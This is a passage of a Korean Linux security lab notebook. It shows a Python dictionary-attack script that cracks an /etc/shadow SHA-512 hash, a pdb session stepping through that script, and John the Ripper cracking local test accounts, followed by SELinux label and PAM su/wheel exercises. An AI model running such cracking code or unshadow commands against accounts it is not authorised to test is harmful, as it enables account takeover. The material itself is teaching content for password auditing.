            break
        count += 1

except FileNotFoundError as e:
    #print(e)
    print(&quot;[-] dict.txt 파일이 없습니다.\n&quot;, file=sys.stderr)
else:
    if not found:  # 비밀번호를 찾지 못했다면
        print(&quot;password not found!&quot;)
    fp.close()

(cryptProject) [root@localhost ~]# chmod 755 dictAttack.py
(cryptProject) [root@localhost ~]# ./dictAttack.py
[-] dict.txt 파일이 없습니다.

(cryptProject) [root@localhost ~]# mv dict.txt.bak dict.txt
(cryptProject) [root@localhost ~]# ./dictAttack.py 
&gt;&gt;&gt; count : 6 &lt;&lt;&lt;
[*] password is: 111111

2. 소스코드
with문을 이용한 경우

(cryptProject) [root@localhost ~]# vi dictAttack2.py 
#!/usr/bin/env python
&quot;&quot;&quot;
파일명: dictAttack2.py
프로그램 설명: 사전파일 공격
작성자: 리눅스마스터넷
&quot;&quot;&quot;

import sys
import crypt

# /etc/shadow에서 가져와서 각자의 값으로 채운다.
# grep passuser /etc/shadow
# passuser:$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.:19435:0:99999:7:::
hash = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&quot;
salt  = &quot;$6$qh/lKXOk$&quot;
count = 1
found = 0
DEBUG = 0

try:
    with open(&quot;dict.txt&quot;,&quot;rt&quot;) as fp: 
        for word in fp:
            if DEBUG:
                print(f&quot;Debug: {word}&quot;, end=&#39;&#39;)

            word = word.replace(&#39;\n&#39;, &#39;&#39;)  # 한 줄의 엔터를 제거한다.
            result = crypt.crypt(word, salt)

            if result == hash:  # 비교해서 맞으면
                print(f&quot;&gt;&gt;&gt; count : {count} &lt;&lt;&lt;&quot;)
                print(f&quot;[*] password is: {word}&quot;)
                found = 1
                break
            count += 1

except FileNotFoundError as e:
    #print(e)
    print(&quot;[-] dict.txt 파일이 없습니다.\n&quot;, file=sys.stderr)
else:
    if not found:  # 비밀번호를 찾지 못했다면
        print(&quot;password not found!&quot;)

(cryptProject) [root@localhost ~]# chmod 755 dictAttack2.py
(cryptProject) [root@localhost ~]# ./dictAttack2.py 
&gt;&gt;&gt; count : 6 &lt;&lt;&lt;
[*] password is: 111111
</code></pre><blockquote>
<p><strong>실습&gt; python 디버깅</strong></p>
</blockquote>
<pre><code>pdb: gdb 하고 비슷한 텍스트형태의 디버깅 툴

(cryptProject) [root@localhost ~]# python -m pdb dictAttack.py
&gt; /root/dictAttack.py(2)&lt;module&gt;()
-&gt; &quot;&quot;&quot;
(Pdb) list 1, 100
  1     #!/usr/bin/env python
  2  -&gt; &quot;&quot;&quot;
  3     파일명: dictAttack.py
  4     프로그램 설명: 사전파일 공격
  5     작성자: 리눅스마스터넷
  6     &quot;&quot;&quot;
  7
  8     import sys
  9     import crypt
 10
 11     # /etc/shadow에서 가져와서 각자의 값으로 채운다.
 12     # grep passuser /etc/shadow
 13     # passuser:$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.:19435:0:99999:7:::
 14     hash = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&quot;
 15     salt  = &quot;$6$qh/lKXOk$&quot;
 16     count = 1
 17     found = 0
 18     DEBUG = 0
 19
 20     try:
 21         fp = open(&quot;dict.txt&quot;,&quot;rt&quot;)
 22
 23         for word in fp:
 24             word = word.replace(&#39;\n&#39;, &#39;&#39;)  # 한 줄의 끝에 있는 엔터(&#39;\n&#39;)를 제거한다.
 25
 26             if DEBUG:
 27                 print(f&quot;Debug: {word}&quot;)
 28
 29             result = crypt.crypt(word, salt)
 30
 31             if result == hash:  # 비교해서 맞으면
 32                 print(f&quot;&gt;&gt;&gt; count : {count} &lt;&lt;&lt;&quot;)
 33                 print(f&quot;[*] password is: {word}&quot;)
 34                 found = 1
 35                 break
 36             count += 1
 37
 38     except FileNotFoundError as e:
 39         #print(e)
 40         print(&quot;[-] dict.txt 파일이 없습니다.\n&quot;, file=sys.stderr)
 41     else:
 42         if not found:  # 비밀번호를 찾지 못했다면
 43             print(&quot;password not found!&quot;)
 44         fp.close()
 45
[EOF]
(Pdb)
(Pdb) b 14
Breakpoint 1 at /root/dictAttack.py:14
(Pdb) r
&gt; /root/dictAttack.py(14)&lt;module&gt;()
-&gt; hash = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&quot;
(Pdb) n
&gt; /root/dictAttack.py(15)&lt;module&gt;()
-&gt; salt  = &quot;$6$qh/lKXOk$&quot;
(Pdb) n
&gt; /root/dictAttack.py(16)&lt;module&gt;()
-&gt; count = 1
(Pdb) n
&gt; /root/dictAttack.py(17)&lt;module&gt;()
-&gt; found = 0
(Pdb) n
&gt; /root/dictAttack.py(18)&lt;module&gt;()
-&gt; DEBUG = 0
(Pdb)
&gt; /root/dictAttack.py(20)&lt;module&gt;()
-&gt; try:
(Pdb) p hash
&#39;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&#39;
(Pdb) p salt
&#39;$6$qh/lKXOk$&#39;
(Pdb) p count
1
(Pdb) p found
0
(Pdb) p DEBUG
0
(Pdb) n
&gt; /root/dictAttack.py(21)&lt;module&gt;()
-&gt; fp = open(&quot;dict.txt&quot;,&quot;rt&quot;)
(Pdb) n
&gt; /root/dictAttack.py(23)&lt;module&gt;()
-&gt; for word in fp:
(Pdb) p fp
&lt;_io.TextIOWrapper name=&#39;dict.txt&#39; mode=&#39;rt&#39; encoding=&#39;UTF-8&#39;&gt;
(Pdb) n
&gt; /root/dictAttack.py(24)&lt;module&gt;()
-&gt; word = word.replace(&#39;\n&#39;, &#39;&#39;)  # 한 줄의 끝에 있는 엔터(&#39;\n&#39;)를 제거한다.
(Pdb) p word
&#39;1\n&#39;
(Pdb) n
&gt; /root/dictAttack.py(26)&lt;module&gt;()
-&gt; if DEBUG:
(Pdb) p word
&#39;1&#39;
(Pdb) n
&gt; /root/dictAttack.py(29)&lt;module&gt;()
-&gt; result = crypt.crypt(word, salt)
(Pdb) n
&gt; /root/dictAttack.py(31)&lt;module&gt;()
-&gt; if result == hash:  # 비교해서 맞으면
(Pdb) p result
&#39;$6$qh/lKXOk$ZxAnywAnw6ypFIMpdThNUIel/ijRDX.kn4kHVVVLzyXouhUczi/PmjRCcDo3clbV59CTtKH3/tBC1ZSNnqTJ8/&#39;
(Pdb) p hash
&#39;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&#39;
(Pdb) n
&gt; /root/dictAttack.py(36)&lt;module&gt;()
-&gt; count += 1
(Pdb) p count
1
(Pdb) n
&gt; /root/dictAttack.py(23)&lt;module&gt;()
-&gt; for word in fp:
(Pdb) p count
2
(Pdb) n
&gt; /root/dictAttack.py(24)&lt;module&gt;()
-&gt; word = word.replace(&#39;\n&#39;, &#39;&#39;)  # 한 줄의 끝에 있는 엔터(&#39;\n&#39;)를 제거한다.
(Pdb) p word
&#39;11\n&#39;
(Pdb) n
&gt; /root/dictAttack.py(26)&lt;module&gt;()
-&gt; if DEBUG:
(Pdb) p word
&#39;11&#39;
(Pdb) n
&gt; /root/dictAttack.py(29)&lt;module&gt;()
-&gt; result = crypt.crypt(word, salt)
(Pdb) n
&gt; /root/dictAttack.py(31)&lt;module&gt;()
-&gt; if result == hash:  # 비교해서 맞으면
(Pdb) p result
&#39;$6$qh/lKXOk$fJ2AGgP6Pfpmw1qsVRjZyftknF.e3xKFNsAGevfUrh8G5.KaMB2CeYD123mRcoXHjIDPaq5wWZn2.Xs2wWIqP.&#39;
(Pdb) p hash
&#39;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&#39;
(Pdb) n
&gt; /root/dictAttack.py(36)&lt;module&gt;()
-&gt; count += 1
(Pdb) n
&gt; /root/dictAttack.py(23)&lt;module&gt;()
-&gt; for word in fp:
(Pdb) n
&gt; /root/dictAttack.py(24)&lt;module&gt;()
-&gt; word = word.replace(&#39;\n&#39;, &#39;&#39;)  # 한 줄의 끝에 있는 엔터(&#39;\n&#39;)를 제거한다.
(Pdb) p word
&#39;111\n&#39;
(Pdb) n
&gt; /root/dictAttack.py(26)&lt;module&gt;()
-&gt; if DEBUG:
(Pdb) p word
&#39;111&#39;
(Pdb) n
&gt; /root/dictAttack.py(29)&lt;module&gt;()
-&gt; result = crypt.crypt(word, salt)
(Pdb) n
&gt; /root/dictAttack.py(31)&lt;module&gt;()
-&gt; if result == hash:  # 비교해서 맞으면
(Pdb) p result
&#39;$6$qh/lKXOk$D9nudUorSMOgfT6jCp3IIAAF.5V3MpiIGepdDcUYBU2NxSREtu.ea34tNuNGbuv.kQ3pEYfxwOs4oyG0nkcVX/&#39;
(Pdb) p hash
&#39;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&#39;
(Pdb) n
&gt; /root/dictAttack.py(36)&lt;module&gt;()
-&gt; count += 1
(Pdb) n
&gt; /root/dictAttack.py(23)&lt;module&gt;()
-&gt; for word in fp:
(Pdb) p count
4
(Pdb) n
&gt; /root/dictAttack.py(24)&lt;module&gt;()
-&gt; word = word.replace(&#39;\n&#39;, &#39;&#39;)  # 한 줄의 끝에 있는 엔터(&#39;\n&#39;)를 제거한다.
(Pdb) p word
&#39;1111\n&#39;
(Pdb) n
&gt; /root/dictAttack.py(26)&lt;module&gt;()
-&gt; if DEBUG:
(Pdb) n
&gt; /root/dictAttack.py(29)&lt;module&gt;()
-&gt; result = crypt.crypt(word, salt)
(Pdb)
&gt; /root/dictAttack.py(31)&lt;module&gt;()
-&gt; if result == hash:  # 비교해서 맞으면
(Pdb)
&gt; /root/dictAttack.py(36)&lt;module&gt;()
-&gt; count += 1
(Pdb)
&gt; /root/dictAttack.py(23)&lt;module&gt;()
-&gt; for word in fp:
(Pdb)
&gt; /root/dictAttack.py(24)&lt;module&gt;()
-&gt; word = word.replace(&#39;\n&#39;, &#39;&#39;)  # 한 줄의 끝에 있는 엔터(&#39;\n&#39;)를 제거한다.
(Pdb) p word
&#39;11111\n&#39;
(Pdb) n
&gt; /root/dictAttack.py(26)&lt;module&gt;()
-&gt; if DEBUG:
(Pdb)
&gt; /root/dictAttack.py(29)&lt;module&gt;()
-&gt; result = crypt.crypt(word, salt)
(Pdb)
&gt; /root/dictAttack.py(31)&lt;module&gt;()
-&gt; if result == hash:  # 비교해서 맞으면
(Pdb)
&gt; /root/dictAttack.py(36)&lt;module&gt;()
-&gt; count += 1
(Pdb)
&gt; /root/dictAttack.py(23)&lt;module&gt;()
-&gt; for word in fp:
(Pdb)
&gt; /root/dictAttack.py(24)&lt;module&gt;()
-&gt; word = word.replace(&#39;\n&#39;, &#39;&#39;)  # 한 줄의 끝에 있는 엔터(&#39;\n&#39;)를 제거한다.
(Pdb) p word
&#39;111111\n&#39;
(Pdb) n
&gt; /root/dictAttack.py(26)&lt;module&gt;()
-&gt; if DEBUG:
(Pdb) p word
&#39;111111&#39;
(Pdb) n
&gt; /root/dictAttack.py(29)&lt;module&gt;()
-&gt; result = crypt.crypt(word, salt)
(Pdb) n
&gt; /root/dictAttack.py(31)&lt;module&gt;()
-&gt; if result == hash:  # 비교해서 맞으면
(Pdb) p result
&#39;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&#39;
(Pdb) p hash
&#39;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&#39;
(Pdb) n
&gt; /root/dictAttack.py(32)&lt;module&gt;()
-&gt; print(f&quot;&gt;&gt;&gt; count : {count} &lt;&lt;&lt;&quot;)
(Pdb) n
&gt;&gt;&gt; count : 6 &lt;&lt;&lt;
&gt; /root/dictAttack.py(33)&lt;module&gt;()
-&gt; print(f&quot;[*] password is: {word}&quot;)
(Pdb) n
[*] password is: 111111
&gt; /root/dictAttack.py(34)&lt;module&gt;()
-&gt; found = 1
(Pdb) p found
0
(Pdb) n
&gt; /root/dictAttack.py(35)&lt;module&gt;()
-&gt; break
(Pdb) p found
1
(Pdb) n
&gt; /root/dictAttack.py(42)&lt;module&gt;()
-&gt; if not found:  # 비밀번호를 찾지 못했다면
(Pdb) n
&gt; /root/dictAttack.py(44)&lt;module&gt;()
-&gt; fp.close()
(Pdb) c
The program finished and will be restarted
&gt; /root/dictAttack.py(2)&lt;module&gt;()
-&gt; &quot;&quot;&quot;
(Pdb) q</code></pre><blockquote>
<p><strong>실습&gt; CentOS 7에서 john the ripper를 설치하기</strong></p>
</blockquote>
<pre><code>시스템에 비밀번호 점검하기

- 관리자가 사용하면 시스템에 취약한 비밀번호를 점검할 수 있는 점검툴로 활용할 수 있다.

소스코드로 되어있는 패키지를 설치하는 방법
압축해제 &gt; 디렉토리 이동 &gt; 환경설정(./configure) &gt; 컴파일(make) &gt; 설치(make install)

# yum -y install wget
# wget --no-check-certificate https://www.openwall.com/john/k/john-1.9.0.tar.gz
# tar xzf john-1.9.0.tar.gz 
# cd john-1.9.0/src/
# make linux-x86-64
# cd ../run/
# file john
# ./john 
# ./john --test

# useradd user1
# useradd user2
# useradd passuser
# passwd --stdin user1     &lt;-- 비번을 111111 으로 설정한다.
# passwd --stdin user2     &lt;-- 비번을 111111 으로 설정한다.
# passwd --stdin passuser  &lt;-- 비번을 222222 으로 설정한다.
# ./unshadow  /etc/passwd /etc/shadow &gt; LinuxPasswd.txt
# ./john LinuxPasswd.txt 

강력하게 설정한 비밀번호를 크랙이 쉽지 않고 쉽게 설정한 비밀번호를 아래처럼 금방 크랙이 된다.
# ./john LinuxPasswd.txt
Loaded 5 password hashes with 5 different salts (crypt, generic crypt(3) [?/64])
Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
111111           (user2)
111111           (passuser)
222222           (user1)
^C
3g 0:00:02:11 19% 2/3 0.02277g/s 259.9p/s 507.2c/s 507.2C/s wolverine2..cthulhu2
Use the &quot;--show&quot; option to display all of the cracked passwords reliably
Session aborted

# ./john --show LinuxPasswd.txt
user1:222222:1001:1001::/home/user1:/bin/bash
user2:111111:1002:1002::/home/user2:/bin/bash
passuser:111111:1006:1006::/home/passuser:/bin/bash

3 password hashes cracked, 2 left

# cat john.pot  
$6$FX0Croyq$/J/W3tQh4kan0XPXp4.VkVtdlZdkrTOic6rhzJS98pT9gT2h2EDec7rq4ysFKvsXx5x2nsJCim0nEUvANHtKx0:111111
$6$6PEqsDr1$UVEU66F6ONnwQXs7326ZRp7P8XgK5vJbFu7N5RswaHq8JHsE/ljpgHGScTbp0sR0UclcPxEF5MdwyE04lDBLC1:111111
$6$hqoQGAew$aHQbqsNIjIzsEMXK4xDOfvYfNHW7HVawavPteTcktoWwHbSNiIjoI0ol3SfkMrJkhMHUdupsdSHcGMK36YqRb1:222222
</code></pre><pre><code>###########
## SELinux
###########

SELinux 를 사용하면 주체(파일, 디바이스...)에 보안 레이블을 하나 추가된다.
ex) 여행가방에 라벨

보안 레이블 확인하는 옵션
-Z --context</code></pre><blockquote>
<p><strong>실습&gt; SELinux 관련 패키지 설치</strong></p>
</blockquote>
<pre><code>[root@webhacking ~]# yum search seinfo
[root@webhacking ~]# yum install setools-console -y
[root@webhacking ~]# yum -y install policycoreutils-python
</code></pre><blockquote>
<p><strong>실습&gt; 보안 레이블 확인</strong></p>
</blockquote>
<pre><code>1. 파일 확인
ls -Z 옵션을 이용해서 확인한다.
[root@webhacking ~]# mkdir selinuxtest; cd selinuxtest
[root@webhacking selinuxtest]# touch testfile
[root@webhacking selinuxtest]# mkdir testdir
[root@webhacking selinuxtest]# ls -Z
drwxr-xr-x. root root unconfined_u:object_r:admin_home_t:s0 testdir
-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 testfile
[root@webhacking selinuxtest]# ls --context
drwxr-xr-x. root root unconfined_u:object_r:admin_home_t:s0 testdir
-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 testfile

2. 프로세스 확인
ps -Z 옵션을 이용해서 확인한다.
# ps -Z
# ps -efZ
# ps auxZ



[root@webhacking selinuxtest]# seinfo -u
[root@webhacking selinuxtest]# seinfo -r
[root@webhacking selinuxtest]# seinfo -t  &lt;-- 이 부분이 중요하다! 
[root@webhacking selinuxtest]# seinfo -robject_r -x

[root@webhacking selinuxtest]# pwd
/root/selinuxtest
[root@webhacking selinuxtest]# ls -Z
drwxr-xr-x. root root unconfined_u:object_r:admin_home_t:s0 testdir
-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 testfile

[root@webhacking selinuxtest]# seinfo -tadmin_home_t -x
   admin_home_t
      file_type
      mountpoint
      non_auth_file_type
      non_security_file_type
      polymember
      polyparent
      sandbox_typeattr_4
      sandbox_typeattr_3
      sandbox_typeattr_2
      sandbox_typeattr_1


[root@webhacking selinuxtest]# systemctl start httpd
[root@webhacking selinuxtest]# ps auxZ | grep httpd
system_u:system_r:httpd_t:s0    root        917  0.0  1.4 369016 14316 ?        Ss   09:57   0:00 /usr/sbin/httpd -DFOREGROUND
system_u:system_r:httpd_t:s0    apache     1331  0.0  0.7 369016  6988 ?        S    09:57   0:00 /usr/sbin/httpd -DFOREGROUND
system_u:system_r:httpd_t:s0    apache     1332  0.0  0.7 369016  6988 ?        S    09:57   0:00 /usr/sbin/httpd -DFOREGROUND
system_u:system_r:httpd_t:s0    apache     1333  0.0  0.7 369016  6988 ?        S    09:57   0:00 /usr/sbin/httpd -DFOREGROUND
system_u:system_r:httpd_t:s0    apache     1334  0.0  0.7 369016  6988 ?        S    09:57   0:00 /usr/sbin/httpd -DFOREGROUND
system_u:system_r:httpd_t:s0    apache     1335  0.0  0.7 369016  6988 ?        S    09:57   0:00 /usr/sbin/httpd -DFOREGROUND
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 root 1893 0.0  0.1 116972 1012 pts/0 R+ 11:11   0:00 grep --color=auto httpd

[root@webhacking selinuxtest]# seinfo -thttpd_t -x
   httpd_t
      nsswitch_domain
      can_change_object_identity
      corenet_unlabeled_type
      domain
      kernel_system_state_reader
      netlabel_peer_type
      daemon
      syslog_client_type
      pcmcia_typeattr_7
      pcmcia_typeattr_6
      pcmcia_typeattr_5
      pcmcia_typeattr_4
      pcmcia_typeattr_3
      pcmcia_typeattr_2
      pcmcia_typeattr_1
      sepgsql_client_type
   Aliases
      phpfpm_t
</code></pre><blockquote>
<p><strong>실습&gt; 웹 파일의 보안 레이블</strong></p>
</blockquote>
<pre><code>[root@webhacking selinuxtest]# systemctl start httpd
[root@webhacking selinuxtest]# echo &quot;SELinux TEST&quot; &gt; /var/www/html/setest.html
[root@webhacking selinuxtest]# cat /var/www/html/setest.html
SELinux TEST
[root@webhacking selinuxtest]# ls -Z /var/www/html/setest.html
-rw-r--r--. root root unconfined_u:object_r:httpd_sys_content_t:s0 /var/www/html/setest.html
[root@webhacking selinuxtest]# ls -dZ /var/www/html/
drwxr-xr-x. root root system_u:object_r:httpd_sys_content_t:s0 /var/www/html/


[root@webhacking selinuxtest]# ps -ZC httpd
LABEL                              PID TTY          TIME CMD
system_u:system_r:httpd_t:s0       917 ?        00:00:00 httpd
system_u:system_r:httpd_t:s0      1331 ?        00:00:00 httpd
system_u:system_r:httpd_t:s0      1332 ?        00:00:00 httpd
system_u:system_r:httpd_t:s0      1333 ?        00:00:00 httpd
system_u:system_r:httpd_t:s0      1334 ?        00:00:00 httpd
system_u:system_r:httpd_t:s0      1335 ?        00:00:00 httpd

httpd가 httpd_sys_content_t 의 권한이 있는 경우 (출력된다.)
[root@webhacking selinuxtest]# sesearch -A -t httpd_sys_content_t -s httpd_t -d
Found 4 semantic av rules:
   allow httpd_t httpd_sys_content_t : lnk_file { read getattr } ;
   allow httpd_t httpd_sys_content_t : dir { ioctl read getattr lock search open } ;
   allow httpd_t httpd_sys_content_t : file { ioctl read getattr lock map open } ;
   allow httpd_t httpd_sys_content_t : dir { ioctl read write getattr lock add_name remove_name search open } ;

httpd가 admin_home_t 의 권한이 없는 경우 (출력이 안된다.)
[root@webhacking selinuxtest]# sesearch -A -t admin_home_t -s httpd_t -d
   &lt;-- 출력이 없음.


퍼미션을 확인한다.(644)
[root@webhacking selinuxtest]# ll /var/www/html/setest.html
-rw-r--r--. 1 root root 13  4월  5 11:17 /var/www/html/setest.html

[root@webhacking selinuxtest]# yum -y install lynx

웹페이지 접근
첫 번째 보안 레이블 확인: httpd가 httpd_sys_content_t 에 대해서 read 권한이 있으므로 접근 허용
두 번째 파일 퍼미션 확인: 644이므로 읽기 권한이 있으므로 접근 허용

SELinux의 타입에 대한 도메인의 접근 권한이 있기 때문에 두 번째 파일 퍼미션을 확인한 것이고 
이것도 접근할 수 있으므로 apache 웹서버가 setest.html 파일의 내용을 읽어서 클라이언트에서 전송한 것이다.
[root@webhacking selinuxtest]# lynx --dump localhost/setest.html
   SELinux TEST

SELinux Security Context 변경
chcon 사용법
Usage: chcon [OPTION]... CONTEXT FILE...
  or:  chcon [OPTION]... [-u USER] [-r ROLE] [-l RANGE] [-t TYPE] FILE...
  or:  chcon [OPTION]... --reference=RFILE FILE...

Security Context 를 httpd_sys_content_t -&gt; admin_home_t로 변경한다.
[root@webhacking selinuxtest]# ls -Z /var/www/html/setest.html
-rw-r--r--. root root unconfined_u:object_r:httpd_sys_content_t:s0 /var/www/html/setest.html
[root@webhacking selinuxtest]# chcon -t admin_home_t /var/www/html/setest.html
[root@webhacking selinuxtest]# ls -Z /var/www/html/setest.html
-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 /var/www/html/setest.html

Security Context 를 변경한 후 접근할려고 했더니 Forbidden 이 나오면서 접근할 수 없다.
이유: 타입(admin_home_t)에 대한 도메인(httpd_t)의 허용된 정책이 없기 때문이다.

[root@webhacking selinuxtest]# sesearch -A -t admin_home_t -s httpd_t -d

[root@webhacking selinuxtest]#

[root@webhacking selinuxtest]# getenforce
Enforcing
[root@webhacking selinuxtest]# lynx --dump localhost/setest.html
                                   Forbidden

   You don&#39;t have permission to access /setest.html on this server.

SELinux Security Context 변경
변경하는 방법 첫 번째 (자동 변경): 
- restorecon 명령어를 사용하는 방법
- 자신의 디렉터리의 타입으로 그대로 자동으로 변경한다.
변경하는 방법 두 번째 (수동 변경): 
- chcon 명령어를 사용하는 방법
- 자신이 직접 타입을 명시해서 변경한다.

변경하는 방법 첫 번째 (자동 변경): restorecon 을 이용한다.
[root@webhacking selinuxtest]# restorecon /var/www/html/setest.html
[root@webhacking selinuxtest]# ls -Z /var/www/html/setest.html
-rw-r--r--. root root unconfined_u:object_r:httpd_sys_content_t:s0 /var/www/html/setest.html
[root@webhacking selinuxtest]# sesearch -A -t httpd_sys_content_t -s httpd_t -d
Found 4 semantic av rules:
   allow httpd_t httpd_sys_content_t : lnk_file { read getattr } ;
   allow httpd_t httpd_sys_content_t : dir { ioctl read getattr lock search open } ;
   allow httpd_t httpd_sys_content_t : file { ioctl read getattr lock map open } ;
   allow httpd_t httpd_sys_content_t : dir { ioctl read write getattr lock add_name remove_name search open } ;

[root@webhacking selinuxtest]# lynx --dump localhost/setest.html
   SELinux TEST


변경하는 방법 두 번째 (수동 변경): chcon 을 이용한다.
[root@webhacking selinuxtest]# chcon -t admin_home_t /var/www/html/setest.html
[root@webhacking selinuxtest]# lynx --dump localhost/setest.html
                                   Forbidden

   You don&#39;t have permission to access /setest.html on this server.
[root@webhacking selinuxtest]# ls -Z /var/www/html/setest.html
-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 /var/www/html/setest.html

[root@webhacking selinuxtest]# chcon -t httpd_sys_content_t /var/www/html/setest.html
[root@webhacking selinuxtest]# ls -Z /var/www/html/setest.html
-rw-r--r--. root root unconfined_u:object_r:httpd_sys_content_t:s0 /var/www/html/setest.html
[root@webhacking selinuxtest]# lynx --dump localhost/setest.html
   SELinux TEST
</code></pre><blockquote>
<p><strong>실습&gt; PAM</strong></p>
</blockquote>
<pre><code>pam_succeed_if.so
- if문으로 비교할 때 사용하는 모듈
반환 값
- 성공: 비교가 맞으면
- 실패: 비교가 맞지 않으면

pam_rootok.so
- root인지 아닌지 확인하는 모듈
반환값
- 성공: root 이면 
- 실패: root가 아니면
- 
pam_wheel.so
- wheel 그룹에 포함된 사용자인지 확인하는 모듈
반환값
- 성공: wheel 그룹에 포함되어 있으면
- 실패: wheel 그룹에 포함되어 있지 않으면

sufficient
- 인증 결과가 맞으면 성공을 반환하고 즉시 인증 성공 (다음 모듈을 실행하지 않음)
- 인증 결과가 틀리면 실패를 반환하고 인증에 영향을 미치지 않고 다음 모듈을 실행

requisite
- 인증 결과가 맞으면 성공을 반환하고 인증에 영향을 미치지 않고 다음 모듈을 실행
- 인증 결과가 틀리면 실패를 반환하고 즉 시 인증 실패 (다음 모듈을 실행하지 않음)

required
- 인증 결과가 맞으면 성공을 반환하고 다음 모듈을 실행하고 성공을 해야 최종 인증 결과는 성공
- 인증 결과가 틀리면 실패를 반환하고 다음 모듈을 실행하고 최종 인증 결과는 실패

# useradd test1
# useradd test2

# vi /etc/pam.d/su
  1 #%PAM-1.0
  2 auth        sufficient  pam_rootok.so
  3 # Uncomment the following line to implicitly trust users in the &quot;wheel&quot; group.
  4 #auth       sufficient  pam_wheel.so trust use_uid
  5 # Uncomment the following line to require a user to be in the &quot;wheel&quot; group.
  6 #auth       required    pam_wheel.so use_uid
  7 auth        substack    system-auth
  8 auth        include     postlogin
  9 account     sufficient  pam_succeed_if.so uid = 0 use_uid quiet
 10 account     include     system-auth
   :
   :(생략)


# su - test1
$

$ su -
암호:  &lt;-- 암호를 입력한다.
# exit
$ exit
# 

# usermod -G wheel test1
# grep wheel /etc/group
wheel:x:10:test1


# vi /etc/pam.d/su
  1 #%PAM-1.0
  2 auth        sufficient  pam_rootok.so
  3 # Uncomment the following line to implicitly trust users in the &quot;wheel&quot; group.
  4 #auth       sufficient  pam_wheel.so trust use_uid
  5 # Uncomment the following line to require a user to be in the &quot;wheel&quot; group.
  6 auth        required    pam_wheel.so use_uid
  7 auth        substack    system-auth
  8 auth        include     postlogin
  :
  :(생략)

wheel 그룹에 포함된 사용자
# su - test1
마지막 로그인: 수  4월  5 12:12:48 KST 2023 일시 pts/1
$  &lt;-- 2번 라인에 의해서 root 이므로 성공을 리턴했으므로 일반유저($)로 변경되었다. 

su - 를 하면 /etc/pam.d/su 파일을 검사한다.
use_uid: 현재 실행하는 사용자를 말한다.
 2 auth        sufficient  pam_rootok.so  &lt;-- 인증이 실패되었지만  최종 인증하고는 무관하고 다음 모듈을 실행
 6 auth        required    pam_wheel.so use_uid  &lt;-- wheel 그룹에 포함되어 있으므로 성공을 반환한다.
 7 auth        substack    system-auth    &lt;-- root 로 로그인하는 화면이 출력되고 이 부분에 비밀번호가 맞으면 성공

$ id
uid=1001(test1) gid=1001(test1) groups=1001(test1),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ su -
암호:  &lt;-- 비밀번호를 정확히 입력한다.
마지막 로그인: 수  4월  5 12:14:50 KST 2023 일시 pts/1
# exit
$ exit

wheel 그룹에 포함되지 않은 사용자
# su - test2
$ id
uid=1002(test2) gid=1002(test2) groups=1002(test2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

su - 를 하면 /etc/pam.d/su 파일을 검사한다.
use_uid: 현재 실행하는 사용자를 말한다.
 2 auth        sufficient  pam_rootok.so  &lt;-- 인증이 실패되었지만 최종 인증하고는 무관하고 다음 모듈을 실행
 6 auth        required    pam_wheel.so use_uid  &lt;-- wheel 그룹에 포함되어 있지 않으므로 실패을 반환한다.
 7 auth        substack    system-auth    &lt;-- root 로 로그인하는 화면이 출력되고 이 부분에 비밀번호가 맞으면 성공

$ su -
암호:  &lt;-- 비밀번호를 정확하게 입력한다.
su: 권한 부여 거부
$ exit


# vi /etc/pam.d/su
  1 #%PAM-1.0
  2 auth        sufficient  pam_rootok.so
  3 auth        sufficient  pam_succeed_if.so user = test2 quiet  &lt;-- use_uid 가 없을 경우
   :
   :(생략)

[root@webhacking ~]# su - test1
[test1@webhacking ~]$ id
uid=1001(test1) gid=1001(test1) groups=1001(test1),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


 2 auth        sufficient  pam_rootok.so  &lt;-- 인증이 실패되었지만 최종 인증하고는 무관하고 다음 모듈을 실행
 3 auth        sufficient  pam_succeed_if.so user = test2 quiet  &lt;-- 변경하려는 사용자가 test2와 같으면 성공을 리턴하므로 즉시 성공
7 auth        substack    system-auth  

